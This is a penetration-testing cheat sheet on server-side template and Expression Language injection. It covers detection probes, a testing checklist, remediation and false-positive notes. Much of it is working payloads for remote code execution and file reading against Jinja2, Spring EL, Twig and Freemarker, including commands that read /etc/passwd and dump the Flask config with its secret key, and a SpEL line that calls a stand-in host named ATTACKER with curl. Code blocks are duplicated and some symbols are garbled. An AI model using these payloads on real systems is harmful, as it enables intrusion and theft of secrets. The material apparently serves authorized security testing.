Exploitation A03

Expression Language Injection

Expression Language (EL) injection and Server-Side Template Injection (SSTI) occur when user input is evaluated as code by a template engine or expression evaluator. This frequently leads to Remote Code Execution (RCE) — one of the most critical vulnerability classes.

Danger

SSTI/EL injection typically leads to full RCE. If you can evaluate expressions, you can usually execute arbitrary system commands. Always test in a controlled environment.

Detection Payloads

bash
# Universal polyglot detection payload:
# Input this in every field and check if the math is evaluated:
${<%[%'"}}%\.

# Arithmetic probes — if 49 appears, the expression was evaluated:
{{7*7}}          # Jinja2, Twig, Nunjucks
${7*7}           # Java EL, Freemarker, Mako
#{7*7}            # Ruby ERB, Java EL
<%= 7*7 %>       # ERB, EJS
{{= 7*7}}        # Handlebars (custom)
{7*7}            # Velocity
@(7*7)           # Razor (ASP.NET)

# Test in various input locations:
# - URL parameters
# - POST body fields
# - HTTP headers (User-Agent, Referer)
# - Email templates (password reset, notifications)
# - PDF generation inputs
# - Error messages that reflect input
# Universal polyglot detection payload:
# Input this in every field and check if the math is evaluated:
${<%[%'"}}%\.

# Arithmetic probes — if 49 appears, the expression was evaluated:
{{7*7}}          # Jinja2, Twig, Nunjucks
${7*7}           # Java EL, Freemarker, Mako
#{7*7}            # Ruby ERB, Java EL
<%= 7*7 %>       # ERB, EJS
{{= 7*7}}        # Handlebars (custom)
{7*7}            # Velocity
@(7*7)           # Razor (ASP.NET)

# Test in various input locations:
# - URL parameters
# - POST body fields
# - HTTP headers (User-Agent, Referer)
# - Email templates (password reset, notifications)
# - PDF generation inputs
# - Error messages that reflect input

Jinja2 (Python/Flask)

python
# Confirm injection:
{{7*7}}  →  49
{{config}}  →  dumps Flask config (may include SECRET_KEY!)

# Read files:
{{''.__class__.__mro__[1].__subclasses__()}}
# Find subprocess.Popen in the list (usually index ~400)

# RCE payload:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Alternative RCE chain:
{% for x in ().__class__.__base__.__subclasses__() %}
  {% if "warning" in x.__name__ %}
    {{x()._module.__builtins__['__import__']('os').popen('id').read()}}
  {% endif %}
{% endfor %}

# Shorter RCE:
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Confirm injection:
{{7*7}}  →  49
{{config}}  →  dumps Flask config (may include SECRET_KEY!)

# Read files:
{{''.__class__.__mro__[1].__subclasses__()}}
# Find subprocess.Popen in the list (usually index ~400)

# RCE payload:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Alternative RCE chain:
{% for x in ().__class__.__base__.__subclasses__() %}
  {% if "warning" in x.__name__ %}
    {{x()._module.__builtins__['__import__']('os').popen('id').read()}}
  {% endif %}
{% endfor %}

# Shorter RCE:
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

Java EL / Spring Framework

java
# Java Unified EL injection:
${7*7}  →  49

# Read system properties:
${systemProperties['os.name']}
${systemProperties['user.dir']}

# Spring-specific:
${T(java.lang.Runtime).getRuntime().exec('id')}

# Read files:
${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}

# RCE via ProcessBuilder:
${T(java.lang.ProcessBuilder).new({'cat','/etc/passwd'}).start()}

# Spring SpEL injection:
#{T(java.lang.Runtime).getRuntime().exec('curl http://ATTACKER/callback')}

# Newer Spring payloads:
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
# Java Unified EL injection:
${7*7}  →  49

# Read system properties:
${systemProperties['os.name']}
${systemProperties['user.dir']}

# Spring-specific:
${T(java.lang.Runtime).getRuntime().exec('id')}

# Read files:
${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}

# RCE via ProcessBuilder:
${T(java.lang.ProcessBuilder).new({'cat','/etc/passwd'}).start()}

# Spring SpEL injection:
#{T(java.lang.Runtime).getRuntime().exec('curl http://ATTACKER/callback')}

# Newer Spring payloads:
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Twig (PHP)

php
# Confirm injection:
{{7*7}}    49
{{7*'7'}}    49 (Twig converts string to number)

# Read environment:
{{app.request.server.get('DOCUMENT_ROOT')}}
{{app.request.server.get('SERVER_SOFTWARE')}}

# Get PHP version:
{{constant('PHP_VERSION')}}

# RCE (Twig <1.20):
{{_self.env.registerUndefinedFilterCallback('exec')}}
{{_self.env.getFilter('id')}}

# RCE (newer Twig with Symfony):
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('system')}}
# Confirm injection:
{{7*7}}    49
{{7*'7'}}    49 (Twig converts string to number)

# Read environment:
{{app.request.server.get('DOCUMENT_ROOT')}}
{{app.request.server.get('SERVER_SOFTWARE')}}

# Get PHP version:
{{constant('PHP_VERSION')}}

# RCE (Twig <1.20):
{{_self.env.registerUndefinedFilterCallback('exec')}}
{{_self.env.getFilter('id')}}

# RCE (newer Twig with Symfony):
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('system')}}

Freemarker (Java)

java
# Confirm injection:
${7*7}  →  49

# RCE payload:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

# Read files:
${"freemarker.template.utility.ObjectConstructor"?new()("java.util.Scanner")("java.io.File","/etc/passwd").useDelimiter("\\A").next()}

# Alternative RCE:
[#assign cmd = 'freemarker.template.utility.Execute'?new()]
${cmd('id')}
# Confirm injection:
${7*7}  →  49

# RCE payload:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

# Read files:
${"freemarker.template.utility.ObjectConstructor"?new()("java.util.Scanner")("java.io.File","/etc/passwd").useDelimiter("\\A").next()}

# Alternative RCE:
[#assign cmd = 'freemarker.template.utility.Execute'?new()]
${cmd('id')}

Testing Checklist

  1. 1. Identify the template engine (check error messages, headers, file extensions)
  2. 2. Test arithmetic payloads in all input fields: {{7*7}}, ${7*7}, #{7*7}
  3. 3. Check if the evaluated result appears in the response (49)
  4. 4. Test in non-obvious injection points: email templates, PDF generation, error pages
  5. 5. Escalate to information disclosure (config, env vars)
  6. 6. Escalate to RCE with engine-specific payloads
  7. 7. Use tplmap for automated detection and exploitation

Evidence Collection

Detection: Request with {{7*7}} and response showing 49

Info Disclosure: Extracted configuration, paths, or environment variables

RCE Proof: Output of 'id' or 'hostname' command via template injection

CVSS Range: Info disclosure: 5.3–7.5 | RCE: 9.1–10.0

Remediation

  • Never pass user input to template evaluation: Treat templates as code, not data.
  • Use sandboxed template mode: Many engines offer sandboxed environments (Jinja2 SandboxedEnvironment, Twig sandbox).
  • Whitelist allowed template functions: Restrict which methods and properties can be accessed in expressions.
  • Use logic-less templates: Prefer Mustache/Handlebars (no code execution) over full-featured template engines.

False Positive Identification

  • Math evaluation ≠ RCE: $$49 returning 49 confirms EL evaluation, but the security impact depends on whether dangerous classes (Runtime, ProcessBuilder) are accessible — always attempt command execution before rating severity.
  • Template literal vs. EL: JavaScript template literals (backtick syntax) use $$ too — distinguish between client-side JS evaluation and server-side EL injection.
  • Sandboxed EL context: Some frameworks restrict EL evaluation to a safe subset — test for class access and method invocation, not just arithmetic.